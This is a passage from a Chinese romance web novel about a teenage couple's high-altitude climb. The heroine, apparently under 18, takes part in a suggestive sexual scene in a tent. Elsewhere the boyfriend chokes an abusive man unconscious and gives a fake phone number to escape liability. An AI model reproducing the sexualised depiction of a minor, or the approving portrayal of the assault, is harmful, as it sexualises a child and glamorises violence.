知道头发有救了,温声很乖地偎在他身前边喝热水边听他不着调的诙笑,习惯性的翻白眼怼嘲:“靠编发就想养我,你问过我的意见吗?”
说完觉得不够刺他,语气很礼貌认真地又问了一句:“这位朋友,您也配?”
“好说啊宝宝,我不介意吃软饭,你也可以来养我。”他吹了声口哨笑的莫名兴奋,好像被老婆养是一件so so so cool的事,手下的动作依然很轻柔,指腹揉摩过她的头皮,又一字一板地回她:“我还蛮想当软饭男的,更想当你的娇夫。”
咦,怪恶心的。
头皮被他带动起微微的舒适感,温声闭起眼睛继续嘟囔:“可是我不喜欢软饭男诶,等我回江城第一件事就是先踹了你,要钱没有,但我可以送你自由。”
“劝你再考虑考虑,我这种极品美男你遇不到第二个。”他又想起一句很招骂很恶心人的话,手指挠她的颈肉故意吐出,“除了我谁还能把你当宝贝儿?”
一副普信的很是理所当然的贱男人模样。
两人平时尽挑膈应对方的话术互嘲,全然没注意到身后还站着一对年轻情侣,女生表情很鄙屑地看过来,背影看上去修长挺拔佼佼出众,可惜是个自以为是的普信破防男。
长的帅有个屁用啊。
温声眸光扫到他们,眉梢微抽。
这是被误会了……?
路泊汀也注意到了,手串一圈一圈不紧不慢地缠紧长发,编的除了乱和丑点,其实还不赖,又给她戴好毛线帽后牵起她转身往大厅外走。
情侣两人冷不防对上他漫不经心看过来的视线,他还挑眉很客气地打了声招呼:“Hello。”
唔……
长的……确实还挺极品标致的……
女生挽着对象表情有些尴尬,在犹豫要不要搭话时,他们已经走到了门口。
温声晃了晃手腕皱眉道:“我要去解释两句。”
她不想他被误会……
路康对他从小的教育就是要平等地理解和尊重女性,尤其是对妈妈和妹妹,虽然平时他总是在床上说一些逗惹她的贫嘴浑话,但出线的言行从没有过,而且他寒暑假经常跑去帮舅舅做一些社会公益项目。
姚洲远是她身边为数不多的从事女性权益组织工作的男性。
路泊汀浑不在意地弹她的帽檐,又顶起她的下巴给她戴好墨镜,“不重要也没必要啊宝宝。”
他不需要任何除了她以外的其他人的印象加持,对她好,加倍对她好就够了。
阿谷木早晨的平均气温在零下十五度左右,喘吁间热气就隔着面罩迅速在眼前结雾,冬季山上的冷风干寒刺骨,吹在脸上又痛又痒,好在从镇上到拉神谷徒步的这段路途坡度较缓且大多是土路,很多初次来登山的人目前还能接受这种路况,为确保在下午五点半前赶到集中营地,几个向导按照前中后站位穿插在队伍中以便调整步行节奏。
温声被路泊汀从里到外裹得严严实实,走起路来一摇一晃的有些笨重,本来还在队伍前面的,后来直接落到了最后,她支着登山杖哼哧哼哧地喘气道:“路泊汀,我穿的太厚了,走路迈不开步子……”
“晚上气温更低,调整呼吸节奏,不要走太快。”他一直跟在她身后
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,时不时探手摸她额头。
路上已经有好几个人开始高反发烧了。
为什么他走的就这么轻松?
温声呶嘴,又晃着脑袋故意问:“我走不动了你可以背我吗?”
也不是真的让他背,只是走累了,单纯想听点爱听的话。
路泊汀刻意退后一步远离她,语气带了点别碰瓷哥的提防做作:“ 不好意思啊这位朋友,不太认识你呢。”
早上的怼嘲还给了她。
呵呵。
温声穿的太鼓胀,动作有些迟钝地转过身上下扫他。
一如既往地全身黑,也不知道是不是出发前刻意练了肌,厚实挺括的羽绒冲锋衣硬是被他穿出修身酷潮的视觉效果出来,外面穿了一件同色硬壳羽绒马甲,衣帽兜在冷帽上,直立的衣领又掩住了一大半面罩,本来就看不清脸了,他还非要戴一副设计奇特也很装逼的中古赛博雪镜,其他人都在匆促地前行赶路,他走的却很悠然慵懒,视线不咸不淡地盯过来时,她脑子里只飘过两个大字。
有病。
谁好人家在这种恶劣险峻的环境里还要耍帅装逼的……
只有他。
“不认识就离我远点,少来挨边。”
路泊汀见她一副和他站在一起很丢脸的嫌弃表情,抬腿丝毫不客气地用鞋尖蹭她裤腿,趁她又瞪视过来时,扬眉笑的很贱很痞:“hi,老婆。”
声音够大够清晰,至少前面几个队员都知道了她温声的对象就是走在最后面的那个高个子装逼男。
“歪?向导?这儿有个乱认人的游客,能不能让他滚开啊。”
温声也不想给他面子,支起小脑袋朝走在前面的向导喊话。
向导假笑,其实他谁都不想搭理,只想赶紧到拉神谷吃点热气腾腾的水煮菜……
两人就在黄土碎石的路上旁若无人地怼来怼去,时间过得竟意外的顺快,他们脚下的步子也逐渐适应了队伍的前行节奏,在穿过杉林群和河鱼堤时,温声还看见了之前从没见过的牦牛群,她连哇好几声,使劲晃他的胳膊:“快给我和小牛拍照!”
路泊汀扯唇哼笑,依旧嘴贱,也依旧蛮听话的取包拿相机,“哎宝宝,我真怕你把小牛顶跑了。”掏出相机又摇头叹声叹气,语气藏不住的揶揄,“牛又有什么错非要和你合照呢?”
“废话好多啊你,到底拍不拍!”
他皱鼻子哂笑,蹲下身举起相机开始当工具人,长指时不时指点一下,“嘶,我觉得你侧过半个身子蹲下来拍会更有感觉点。”
温声半信半疑地扭过半个身子蹲下,手还在薅旁边小牛的脑袋,呆头呆脑地问他:“这个姿势可以吗?”
路泊汀快速起身来了张俯拍,瞅着相机里拍的很袖珍很憨很傻的人,笑的一脸人畜无害:“Wow,这张可以获普利策最佳摄影奖了。”
“真的吗?”
温声兴冲冲地接过相机,下一秒就绷不住地皱起了眉头,盯着那张可以说是她这十几年人生里最丑的照片,想也没想,手里的登山杖往他身上挥:“你有病啊路泊汀!不会拍就别拍!还我照片!!”
他一边后退一边躲她手里的棍子,死性不改地挑眉接着招惹:“啧,我都没收你人工费你就偷着乐吧宝宝。”
温声追不上他,停下来喘气道:“我以为只要是个人拍出来的照片都会有个人样,你要是敢承认你是猪我就不怪你了。”
路泊汀慢步走过来蹲在她面前,表情还真有那么几分服软陪错的悔悟,就在她以为他要道歉时,他又摘下墨镜勾唇一笑,起身跑路前手指快速推弄起她的鼻子,叫的很是亲昵:“嗨,猪宝。”
“你有病啊——!!!”
直到走到拉神谷时,温声都没再理他一个字,向导给每个人发了两个小时后前往营地的路程安排表,并叮嘱大家在这两个小时内要尽快补充好能量,她的能量棒和水杯都在他的包里,撇了撇嘴,扭过头打算和他冰释前嫌。
结果就看到他脸色不太好的坐在角落。
高反了……
57. 爬山(二)
慢吞吞地蹭过去,温声居高临下眯眼细瞧他半天,脸颊和耳根泛起不正常的潮红,嘴唇也有些红肿,确实是发烧的样子,她不太自在地浅咳一声,“……喂,没事吧?”
路泊汀垂头敛着眼睛看桌子上的木头纹理。
不吭声。
豁,不知就里的人还以为是她欺负他了呢。
到底是谁嘴欠了一路?
温声就差翻白眼了,用胳膊肘轻撞他,“问你话呢——”
话还没说完,他就差点从座椅上翻了下去。
眸光似有若无地横了她一眼又轻飘飘移开,一副虚弱又无力的弱鸡样。
……
温声歪起小嘴木着脸快手扶好他,静静掠过他几秒后,随手打开他的包开始翻布洛芬和葡萄糖。
路泊汀靠着椅背不动声色地抬眼睨她,在她转头看过来时,又蹙起浓眉神情难熬地瞟向桌子上的水杯。
“先喝点可乐吧,找不到葡萄糖,是不是没带啊?”
手指敲触衣兜里的葡萄糖玻璃瓶,另一只手随即撑在颈侧歪头看她,声音有些涩然:“我不想自己喝,你能喂我喝吗?”
好像真的发烧似的,黑眸带着炘濯的濡润,话音落尽又若无其事地垂敛,上扬的眼梢随着浓密的睫毛掩在眼底后,在眼尾勾出细长的睑线。
虽然才下午一点钟,但山上背阳的区域在干冷的阴雪天已经开始暗了下来,帐篷内燃起的老式蜡烛灯被随意系在门框帐杆上,覆在头顶的昏黄光晕层层镀在两人身上。
温声的身影错开时,光雾全部抛在他脸上,那条隐晦的睑线淡化了眉眼的鲜姿英气,微垂头时,无形中给清冷俊俏的脸添了分靡然柔矜。
对她的招撩勾引是越来越明目张胆了。
温声凑近他嫣然一笑,又猝然狠狠翻了个白眼,用力提起袖子摆明了要在这深山僻野里和他打一架:“你少给我装路泊汀,高反是你这样的反应吗?你爱喝不喝。”
说完上手快速给了他肩膀一拳,声音邦响。
室内突然陷入死静。
路泊汀的神情很淡,视线落到别处,顿刻,哑声响起:“你为什么要对我这么凶?”
温声一怔,没反应过来地眨巴眼睛。
“我身体不舒服啊宝宝……”他浅吸鼻子,接着轻声说,“是真的不舒服,你可以不照顾我,但能不能对我态度好一点啊。”
温声立在原地直瞪瞪的看他。
以前没遇到过这种剧情实在是……猜不透他要做什么。
他好像眼圈红了,但又不想让她看见,拉下帽檐,低声道:“如果是因为刚才我欺负你,那我道歉,你要是觉得我是累赘……”偏过头,喉咙酸楚似的滚了又滚——
妖男,绝对的妖男!
温声心里一咯噔,连忙举手:“停停停,我错了,我不该打你,我错了行吗,我喂你喝,我喂你喝总行吧。”
好好的哭什么啊,那一拳很重吗?
她快手拉开易拉罐的拉环,递向他嘴边,语气有些别扭:“喏,喝吧。”
可他一直侧过头不看她。
要嘴对嘴喂他喝。
温声握紧拳反复吸气呼气,直到心情平复。
哎,跟这种矫情作逼男有什么好计较的……
她很有气量地喝了一大口可乐,两腿分开坐在他腿上,手指掰过他的俊脸,眼睛确实一片水光,白了他一眼后又快速凑近,软唇轻轻触摩过那处泛红的皮肤后又直起腰身,指骨顶起他的下巴,唇肉相互附触,液体一点一点流洄进他的唇腔,喉口隐隐发出潺汩的吞咽声。
他不知道是不是故意的,唇间很轻很绵长地喘了声热气,潮灼的气息连连撩过她的下巴,也不闭眼睛,就抬着下巴视线直勾勾地注着她。
两人靠的太近,他颈侧的微冽冷香一阵阵伏泛在她身前,温声脸有点发热,“喝……喝完了吗?”
路泊汀挑开她的衣服滑到里面,磁声低涩:“宝宝想要我吗?”
温声浑身泛起空虚舒意,小脑袋拱他的肩膀咕哝道:“我难受……”
他移到她的耳垂,刚要亲上时——
“你他妈想死是吧?”
帐篷外突然响起的聒噪争吵声吓了温声一跳,身体霍地贴紧他,“救救救救救我。”
她的一半屁股还露在外面。
“你以为老子赚钱容易?我手边要是有刀捅你几下都不解恨臭傻逼。”
有向导跑过来劝道:“哎在山上别起冲突啊,有话好好说嘛,留点力气不然晚上很容易……”
“我训我老婆管你jb吊事,滚。”
温声皱起的小眉头已经快要飞上篷顶。
这才是贱男人好吗!
路泊汀没什么表情地扫了一眼门口,慢悠悠整理好她的衣服,从兜里掏出葡萄糖打开后塞进她手里:“喝完再出来。”
捏着手里的玻璃瓶,温声诶了一声,仰头看他:“不是没有嘛?”
该喝的人是他好吧……
掀开帐篷门帘,路泊汀倚着门框瞅那个横行的秃头小丑,视线又瞟过旁边蹲在地上捂住脸的女人,周围站了一圈人,起初大家还在好声好气地劝架,但劝着劝着就歇气了,那男的看上去一米八大高个,身材还很壮实,压根劝不住,而且一个多小时后他们还要赶雪路,在高海拔环境下多说一个字都很容易高反。
索性,大家都选择闭嘴。
只要他别再动手。
也不嫌丢人似的,秃头贱男又开始粗声叫骂:“你今天不和我说清楚这笔钱是怎么花完的,这个山就别上了,你他妈是外边有人了吧?你等着我立马给你爹打电话。”
蹲在地上的女人终于开口了,擦净眼泪盯着他,脸很红,颊侧的指印很清晰:“杨林博你搞清楚了我们在一起的这一年里,金钱付出最多的那个人是我,每一分钱都是我熬夜写稿子赚来的,我花我工资卡里的钱有什么问题?别拿我爸威胁我,我家欠你家的人情债早就还清了,我现在就告诉你这个婚我不结了,今天这个山我自己会爬上去,你现在就滚。”又指了指自己的脸,接着说完:“你以为你打我就完事了?所有的证据我都保留了,不想我跑去你单位举报你,你就夹着尾巴好好做你的烂人吧。”
“你还敢呛嘴?”秃男跑过去又要甩她一巴掌,手还没挨上,头猛不丁被玻璃瓶砸中。
“我操!?”他扶着后脑勺火躁急眼的转身。
温声靠着路泊汀的胳膊,神情有点怕怕的又带了点促狭,摇他的手,声音很甜:“老公,他要是打我怎么办啊?”
路泊汀揉她的脑袋,掀唇痞痞一笑:“废了他。”
两人一搭一档,睨过来的眼神没有丝毫歉意,嘴角的调笑好像刚才砸玻璃瓶过去的人不是他们。
“你过来,给我过来!”秃男指着温声,卡里少了几万块本来就很操蛋,他也不管对方是不是小姑娘,今天必须找人出这个气。
眼睛瞪得像头牛,上午遇到的小牦牛都比他顺眼百倍千倍,温声倒胃口似的吐舌头作呕吐表情,话头却是对着蹲在地上的女生:“姐姐啊,你自己的钱想怎么花就怎么花,想花多少就花多少,这是你的自由,你的人生得你自己先过如意了,其他人的指手点脚……”
她又很直白的斜了一眼贱男,语速不紧不慢地刺他:“无非是在证明他们自己过得很窝囊罢了。”
说完后胳膊推挤旁边的人,弯起眼睛语气恢复甜甜:“老公我说的对吗?”
一口一个老公,给他叫爽了。
路泊汀抱臂耸肩,一副老婆说什么都对的慵懒表情,还很捧哏地扬眉吹了声口哨,结果开口就是王炸:“好男人就该自觉做老婆的狗。”
……
温声当即就尴尬的红了脸,倒也不必这么捧她啊……
周围有人没忍住笑出了声,也有那些已经结婚的老夫老妻,男的眼梢有意无意地瞥过路泊汀,各个表情都还挺微妙的。
你想当狗就当呗,扯上其他男人干嘛?
快四十岁的秃男前半生过惯了周围女人对他的柔声下气,当众被个女的嘴抨这还是第一次,还是个毛都没长齐的小妮子,脸色冒火上前就要拽她:“你他妈给我出来再说一遍!”
向导又哎哎哎地劝他:“有话好好说,别在山上闹事啊!”
其他人也应声:“爬山就是来放松的,你这样对大家的心情影响很大啊。”
温声靠在门上动都懒得动一下。
他挨不上她一丝一毫。
她就是有这个底气。
果然,下一秒高大颀长的身影就挡在身前,语气很不耐烦,带着对方再多说一句废话他就开干的不爽:“你碰她一指
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头试试看,你当老子是摆设?”
“那就连你一起打!”
秃男挣脱开向导朝前抡出一拳,他本来就是膀大腰圆的彪壮身材,身上的冲锋衣拉链在他扑前时滑了下去,胸前有条铁制粗链顺势掉了出来,墩实的黑影窜出去时吓坏了旁边的向导:“你……”
你他妈!
他都快急死了,转身急忙去联系马队,这一架打了他这个月的绩效又没了。
操!
路泊汀挑眉啧了声,动手前学温声的口吻侧过头对还蹲在地上的女人快声侃逗了一句:“姐啊,看清楚年轻貌美又有学识内涵的男高是怎么替你教训中年油腻男的,下次找对象记得往我这个标准找。”
……
温声抬手紧紧捂住再次臊红的脸,他一个才成年的人对一个三十来岁的姐姐说这种话……
太不要脸了!
蹲在地上的女人神情微滞,一时不知道该作出什么反应。
还没有人对她说过这些话。
路泊汀偏身避开他的拳头,举起手臂动作直截凌厉地推弹开他的上身,秃男又抬腿往他的□□踢过来,嘴里还要粗声粗气的谩骂:“我让你他妈再多管闲事!”
一个快速转身避开他的腿,路泊汀叹声哼笑:“踢我的好兄弟你好下作啊哥。”遽然抓住他的肩膀又抬膝粗暴地顶在他的腹部,不太想听他发出的闷哼声,手指倏然向下拖拽他的帽檐直到他的整张脸被蒙进帽子里,伸拳又力度狠厉地捣向他的胸骨,在他由于惯性倒退时,迅速扯近他脖子上的铁链,反手缠绕又猛然抽紧。
一气呵成,他被当场锁喉。
路泊汀弹他的帽子,口哨声再次响起:“要对女孩子温柔点懂么?”
温声蹲在一边翻白眼。
他怎么就对她不温柔?
“唔……松…松手!”秃男使劲掰他的手,口鼻被帽子遮住,喉咙也被勒紧,胸口和大脑像缺氧一样又疼又晕。
蹲在地上的女人起身走过来,淡着脸说道:“杨林博我们分手了,一会你就骑马下山,以后别来找我。”又看向旁边个子很高长的确实很青春貌美的男生,颔首道谢:“谢谢你们……”
手腕忽然一沉,秃男抵着路泊汀的胳膊晕了过去。
温声瞪大眼睛立马跑过来:“他…他这是……”
碰瓷吗?
路泊汀松开手,任由他滑倒在地上,扯唇笑的很不客气:“高反了呗。”
向导联系的马队正好赶到,他架起晕在地上的男人又看路泊汀,这个男生他可太印象深刻了,早上先是口无遮拦的说要死,下午又在他的队里很莽实地干了一架,低咳几声后还是问了一句:“留一个你的联系方式,万一他之后身体不舒服……”
不用说得很直白,碰瓷嘛,懂的都懂。
路泊汀点了点头很好说话的留了一串号码,又盯着伏在马背上的男人哂笑道:“他醒了后尽管提要求,我全责。”
大家的手机这会儿都没什么信号,只能先留手机号码。
温声憋了很久的话,终于在马队离开后吐出:“那串号码……不是你的吧?”
他的号码她在梦里都可以背出好吗。
远在江城躺在地上还在修车的何让生猝不及防地连打三声喷嚏。
路泊汀眨眨眼睛卖关子道:“芜,谁知道呢。”
温声还想说话时,旁边站了一人,眼前是她递过来的名片:“还是想对你们再说一声谢谢,这是我的联系方式,如果之后杨林博骚扰纠缠你们,一定要给我打电话。”
接过那张名片,温声哇出声:“姐姐,你是驻外记者吗?”
好酷!
她的梦中职业。
吴芸轻轻浅笑,脸上的红印消下去了一些,临走前给了她一个贴身的拥抱:“有任何需要随时可以联系我,今天谢谢妹妹了。”
等她离开后,路泊汀抽走那张名片,是国内知名电视台的驻外场记,他没当回事的塞进衣服里,又伸手弹她的脑门:“我还想喝可乐。”
绕着他周身慢腾腾转了一圈,温声扯起一侧唇冷笑:“你就没高反吧?”
话音刚落,他就扶着脖子耷下眉梢,神情很是娇弱:“宝宝,我又不舒服了。”
装,再装!
温声这次没有任何负疚地抬手又给了他一拳。
58. 爬山(三)
凌晨两点钟
“醒醒。”
温声睡梦中感觉脸被轻蹭了两下,困得实在睁不开眼睛,只能下意识将小脑袋贴过去,呢声嘟哝:“唔……几点了?”
好困好困……
有丝丝凉气吹在她脸上,从眼睫滑到鼻尖,耳边是他的磁声低语:“宝宝……”软濡的凉气扑凑到她嘴边,“你流口水咯。”
轻悄悄的话音,带着撩哄的喘息。
温声睡得正迷糊呢,伸出舌头舔嘴角,又皱起眉头不忘咕咕他:“呸,你才流口水呢……”过了一会儿,又想到好像没骂完,晕乎地补了一句,“神经病。”
骂完后嘴巴还噘了起来,连带脸颊也微微鼓起,蒙眬惺忪的样子很像何让生养的那只小德牧,整天瘫在窝里可以一觉睡十个小时,睡觉时还不能戳捣它,不然小小的狗身立马炸毛,龇个还没长齐牙的小狗嘴朝他乱吼。
一人一狗,睡和醒之间脾气都挺大。
还很呆。
路泊汀挑眉哼笑,啾起她的唇肉,向外轻扯,吮吸间又说了一句:“再不醒我就丢了你。”
小时候这句话的杀伤力很大。
他笑嘻嘻的说,她哽唧唧的哭。
每一次都这样。
嘴巴被咬的有些疼,温声终于清醒了一些,但还是闭着眼睛用气音回他:“你以为我还怕你吗?丢就丢呗,我现在可是有钱人,能自己找到回家的路,你算什么登西啊……”
姚书文很早就立了家族信托分配,儿子和女儿的受益比例各一半,除去其他资产,他们在大学毕业前的每个月都会收到一笔生活费。
数额相当不菲。
叽里咕噜的说了一堆,全然忘了这个气温下手机都成了砖头,钱包里的现金凑不出一张回家的机票钱。
路泊汀缠紧她的软舌,听到她的话又是一声轻笑,开始上手挠她的肚子和胳膊,她的痒点很奇怪,在肘窝和小腹,都不用刻意勾挠,触到就失陷。
3……
2……
“呜…哈哈哈…你别动我……哈哈哈哈…啊啊啊…呜呜你别挠了…求你……”温声倏地从床上蹦起来,还没坐直又被他坏心眼的一手摁在身下。
继续挠。
她疯狂扭动躲他的手,原本梦呓的喃声陡然变为娇喘尖叫声:“我醒了!我醒了还不行吗…你别挠了!!啊哈哈哈……呜呜呜烂人…你滚啊!”
阿古木营地海拔在4300m,半夜的平均气温在零下15度左右,谡谡寒风挤入蒙古包的门缝,厚毡门帘被不断吹卷又快速扑落。
哗啦哗啦——
流动的风声交叠着雪地被踩蹍的闷簌声。
大风大雪,凌晨的气候很恶劣。
距离开始登顶还有不到一个小时。
温声迷糊中被路泊汀一件套一件地穿好所有衣服,从头到脚,从里到外,裹的比白天还厚实,墙上有两人贴近的影子,一高一低,他还微微弓着背给她绑马尾辫,动作这次很熟练。
黯影里她被他完全罩裹,无声无息。
她盯着看了很久。
路泊汀揪起她的脸蛋开始涂防裂霜,室内温度很低,他只披了一件很薄的马甲,泛着凉意的手指轻轻搓弄她的皮肤,直到一张素白的小脸有了红润血色,确认完事后他又弯下腰左右细瞅她,对上她微红的眼睛,以为是没睡醒,轻声问:“还OK吗宝宝?”
温声躲开他的视线揉了揉肚子,有些不好意思的开口:“我有点饿了……”现在气温很低,她吃不下压缩饼干,想吃一些热乎的食物。
可营地没有多余的热水。
路泊汀很快穿好衣服,低头亲了亲她的嘴角,“等我一会儿。”
屋里少了一个人,空间好像变得又小又闷,温声下意识又看了一眼那面墙,只剩下她一个人的虚光。
可那不叫影子。
路泊汀胳膊夹着保温杯手里拿了两桶泡面进来时,她正坐在小板凳上手里在捯饬什么乱七八糟的小物件,不等他看清,手一快,塞进了衣服里。
动作很是偷偷摸摸。
他眼梢挑起,扯出一副很不稀罕的调笑样子,轻飘飘的口吻只提了一句重点:“老公比你有钱啊宝宝。”
言下之意,你那些破烂玩意儿我看不上。
……
温声难得被他呛的说不出一句话,她又不是护食好吗?
翻了个白眼摸过其中一碗泡面,是她很喜欢的番茄口味,“唔,哪儿来的热水?”
路泊汀打开保温杯递她嘴边,热气漫到脸上,寒意微退,热水刚要咽下去,就听见他不正经的笑谑:“我跪下求来的。”
咳咳咳——
温声脸红了一片,抬眼错愕地看他。
路泊汀轻拍她的背给她顺气,语气依然打诨:“对我而言,只要是为了你,面子就不重要。”
他对她总是一副侃声侃气的逗弄样子,虽然知道是开玩笑,可眼里的旦誓深情她又看的很真实。
好像为了她,他真的能跪下来。
空气微滞。
“不行。”
动作有些迟钝地揭开泡面盖子,番茄汤底的鲜味很浓郁,温声没看他,声音很轻:“如果有一天你真的为了我下跪,我们也就没必要在一起了。”
她希望他永远韶朗意气,如葱郁蓬勃的青松,头顶天,脚入柢,立在春风,翩致屹然。
不该为她,也不该为其他的过眼沙云屈忍折挠。
路泊汀只是轻笑,手指刮过她冒红的鼻尖,又不太乖的去捏她的脸。
墙上重新映入两人的影子。
半晌,他低声道:“我只跟着我的感情走。”
只跟着你。
*……*
凌晨三点,负责他们这队的几个向导开始领前登顶,天色还很暗,长长的队伍里,每个人帽檐的点点头灯缀在淡芒的路道上,从领首延伸到尾队,在白皑的雪路里形成一条迂迤亘长的灯迹,上行的路程虽寒峻坎坷,但光亮会为每个前行的攀登者指明路向。
仰头看,山巅隐隐露出轮廓,通往浩茫旷野的世界之窗就在眼前,在每一次趋前的拔步中,在每一声寒颤的气喘下,在刹那间的累与兴奋、疲惫到韧劲,以及痛苦和坚忍的自由意志变换里,身体和精神的俗尘拘束被一点一点全数卸下。
五米、十米、一百米……
视距从漫长无量到尽头可望。
雪野和山岩被踩在脚下,世界好像也在脚下。
不论所有人坚持的执愿是什么,在出发后的这一刻,大家就是意念一致的同路人。
爬上这座欲望之坡,不断战胜和超越内心即将熄灭的畏惧之火,心底最纯粹最勇魄的那一端被重新点燃,助推,反复助推,直到登顶。
雪雾开始变大。
在经过一堆乱石路时,温声没留神脚一滑差点摔倒,雪路太滑,石块像滚动的石珠一样太小太碎,就算穿着冰爪也没什么用,路的两边就是陡立的悬崖坡,坡沿被松软的雪泥铺盖,稍有不慎踩空就会跌下山崖。
路泊汀手疾眼快提起她的包,突然的踩滑引得两人一阵惊悸,他边走边给她搓胳膊和手,在缺氧的极寒下,她的四肢已经没什么知觉,好在膝盖和脚趾还有酸麻阵痛,气温太低,平均体感在零下25度左右。
为了减小失温,两人已经半天没有开口说话了,全靠眼神交流,头灯太亮,她只能低下头透过雪镜朝他飞快眨眼睛,眼神很委屈——
呜呜呜……我是不是你的累赘……
他搓完她的胳膊又提溜起她的衣领,两人换了站位,他站到了最边上,也低下头去看她,挑眉眨眼时带着惯常的坏心眼——
啧,也还好啦宝宝。
温声嘟起嘴巴,也不顾失不失温,抬胳膊捶了他一拳。
多哄哄她很难吗?
路泊汀被捶的好像还蛮委屈的样子,黑眸斜睨过来——
给我道歉。
温声才不管他呢,晃了晃早就冻得不太清醒的小脑袋,抬起下巴眼睛一瞪——
呸,就不!
他很做作的哼声冷笑,开始说话,声音有点哑:“你打了我三次,我都记下了。”说完还很记仇很小学鸡的竖起三根手指在她眼前摆晃,继续重复,“三次啊宝宝,老公身体不太行经不起被你这么打的。”
说话像个小老头似的。
温声勾下雪镜不咸不淡地扫了他一眼,话音带着讥嘲:“是谁说过愿意被我欺负一辈子的?不就打了你三下么,至于么?”刻意凑近他,似笑非笑地瞄过他的重点部位,语气依然嚣张,“又不是操了你三下。”
痞里痞气的腔调,很有某人的话影。
啧。
路泊汀突然停下,偏额上下打量她,视线带着我温姐现在说话可太厉害太牛逼了的兴叹,接着摇头啧啧称赞,戴着手套的手还给她竖起了大拇指,也不吭声,就是要给她一个原来如此啊的回味表情。
让她自己猜。
温声除了看地上的路,还要扭头细瞧他的表情,结果越瞧越不对劲:“你不会真觉得我想……”声音放低,又悄咪咪看了一眼周围的人,嘴唇微微嚅动,“操 你吧……?”
请问他在想什么啊?
学她的样子,路泊汀也支起下巴才不管她呢。
一副别解释了吧哥都懂的犯贱表情。
“神经病啊!”
温声抽紧身上的包带,狠狠乜了他一眼后转身继续朝前走,很神奇的是,每次和他互怼完,她身上就会恢复不少力气。
雪路的能见度渐渐显明,夜空的青色星辉从远至近照在山际,月影变淡,天快亮了。
距离登顶还有几百米,但也到了最为险急的一段坡路,坡度接近直峭,中间的峰路安全横距只能站一个人,左右就是岩壁,扒不住地面的碎石快速滚落两边的崖谷,每喘息一次,寒风就像刀刃从胸前穿过,刺骨的疼。
身后的人半天没什么动静,温声扭头去看他,结果就见他拿着保温杯在吃头疼药,隔着坡度差和雪镜,她看到他眼睛很红。
昨晚他就没怎么睡觉。
“路泊汀……”
他又喝了口热水,顺便从包里翻出巧克力塞她手里,嗓子疼的说不出话,打了个手势让她看路继续走,但她白着小脸就是不走,他只好上手蹭她的帽檐——
我没事啊宝宝。
温声想试他额头的温度,被他偏头躲开。
“你昨天是不是就高反了?”
她一直以为他是装的……
但一天内坐了两趟飞机,也没怎么休息,身体不垮才怪。
不想让她担心,路泊汀上前抱了抱她的腰身,嗓音哑涩:“真没事,你就算现在想上我,我也还有力气让你爽啊宝宝。”
都这个时候了还在逗她。
温声很想瞪他一眼的,但这次眼睛就是不受控地发酸发热,趁眼泪冒出来前转过身,手伸向后面。
要
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牵着他走。
身后是他浅浅的低笑声,接着,她的手心就被他紧紧握住。
另一只手伸进衣服里,摸出那只被他说是小破烂的卡祖笛,本来想登顶后看到金山再吹给他的,但抬头,四周天色渐明,星月隐失,莹白雪路被脚印蹍出无数个暗坑,啸鸣寒风闯入原本寂静的山渊,在海拔接近5000米的云崖,高峰也可以就在脚下。
不需要挑在多完美的时间地点,只要他在身边。
这一刻,再好不过了。
温声吸了口气,那只小小的笛器递到嘴边。
My Heart Will Go On.
我心永恒。
她最喜欢的一首电影主题曲。
笛声响起,路泊汀微怔,抬眼看她,小时候两人第一次看那部电影,男主在沉海前的深情表白很经典深刻。
——赌赢那张船票,是我这一生最幸运的事情,它让我遇见了你。
她趴在他电脑桌上哭的稀里哗啦,一边擦眼泪一边抽搭搭地问他:“相爱的人为什么不能好好在一起?”
那个时候他十岁,她还不到九岁,对感情的理解还都很懵懂,他不太想搭理她,但又被她哭的心烦意乱,只好胡诌应付道:“哭什么,我和你好好在一起不就行了。”
话音刚落她就不哭了。
脸上堆着乱七八糟的眼泪,就那么呆呆的看着他,又立马拾起一副见鬼的表情从他房间窜了出去。
哦,之后就是十天半个月里都没再和他打过照面。
“In my life we’ll always go on,”
(在我的生命里,爱无止境)
“Near,far,whenever you are.”
(无论你离我多么遥远)
听到他的轻声伴唱,温声微微一笑,其实这只小笛子是摆在民宿前台没什么人买的当地小物件,二十块钱不到,音质很粗糙,哼出来的调也不准,但她就是想吹给他听。
相爱的人为什么不能好好在一起?
如果万事万物都求一个世俗的圆满结局,这本身就是一种不圆满,爱因不能自控的心甘情愿而刻骨铭心,因跨越时空的局限而伟大永恒。
但,没有结局的圆满,她能接受吗?
“You’re here,there’s nothing i fear,”
(你就在我身旁,以至我全无畏惧)
“And I know that my heart will go on.”
(我知道我心与你相依)
“We’ll stay,forever this way.”
(我们永远相携而行)
被他反牵着手,耳边是他的缓声哼唱,他本来嗓子就说不出话了,但还是愿意当她的唱托,因为她有意无意提过很多次,这是她最喜欢的歌。
没忍住,温声又歪过头去看他。
快到清晨的空气寒冽逼人,他哼唱时,溢出的热息瞬间凝成白雾,就算她站的高,也还是够不到他头顶。
“宝宝。”
路泊汀忽然停下,漫不经心的口吻好像在重复电影里的那句台词‘You jump,I jump’,只不过他换了词:“I jump,only i jump。”
他两的感情里,不管她对他是娇纵盛气还是蛮横不讲理,只要她乐意,他就全收,其他问题他来解决。
如果他们的结局非要经历万难才能圆满,那揽下全部的那个人只能是他。
温声也不吹笛了,有点喘不上气,很淡的瞥了他一眼又转过身,手指还是紧紧握着他,片刻后悄声道:“You jump,I jump。”
清晨六点半,晨光拂晓,旭日初升。
终于登顶。
捏着手里向导给的登顶奖牌,温声还在发懵,她竟然真的在成年前登上了极顶,视线内那些从未见过的尖峰被稀薄的云雾旋萦回绕,朝阳在她的俯瞰下冉冉腾起,目光渐渐平视,她被晨熹一点一点围抱,身上的寒气在这瞬间全部被逼退。
他们仿佛身陷另一个世界,纯粹,安静,微妙。
好不真实。
她又捏了把自己的脸。
真的登顶了!
“恭喜咯,宝宝你好酷。”路泊汀也捏她的脸,熹微晓光照在他脸上,面罩只露出一点高挺鼻梁。
“呜呜呜呜,我竟然没有高反!”她在原地又蹦又跳,完了也不顾及他是不是高反,使劲晃他的胳膊。
路泊汀趁她翻包拿相机时,随口问了一句:“下一个目标是什么?”
温声没反应过来,下意识回问:“什么目标?”
十八岁后,步入成年的目标。
她想了想,又蹦到他眼前,厚着脸皮打马虎:“你自己猜吧,我的目标还蛮高远的。”
其实也没多高远……
如愿成为记者,如期和他结婚。
路泊汀弹她脑门,弯唇淡笑,笑的很不要脸:“那肯定包含我在内。”不等她翻白眼,他继续弹她脑门,凑近她的耳侧,轻声问,“能不能加个愿望啊宝宝,你可以给我求婚吗?”
……
温声歪起小嘴表情很是一言难尽,也凑近盯他,又朝他翻了个大大的白眼。
好不要脸!
唔,不过……
也不是不可以。
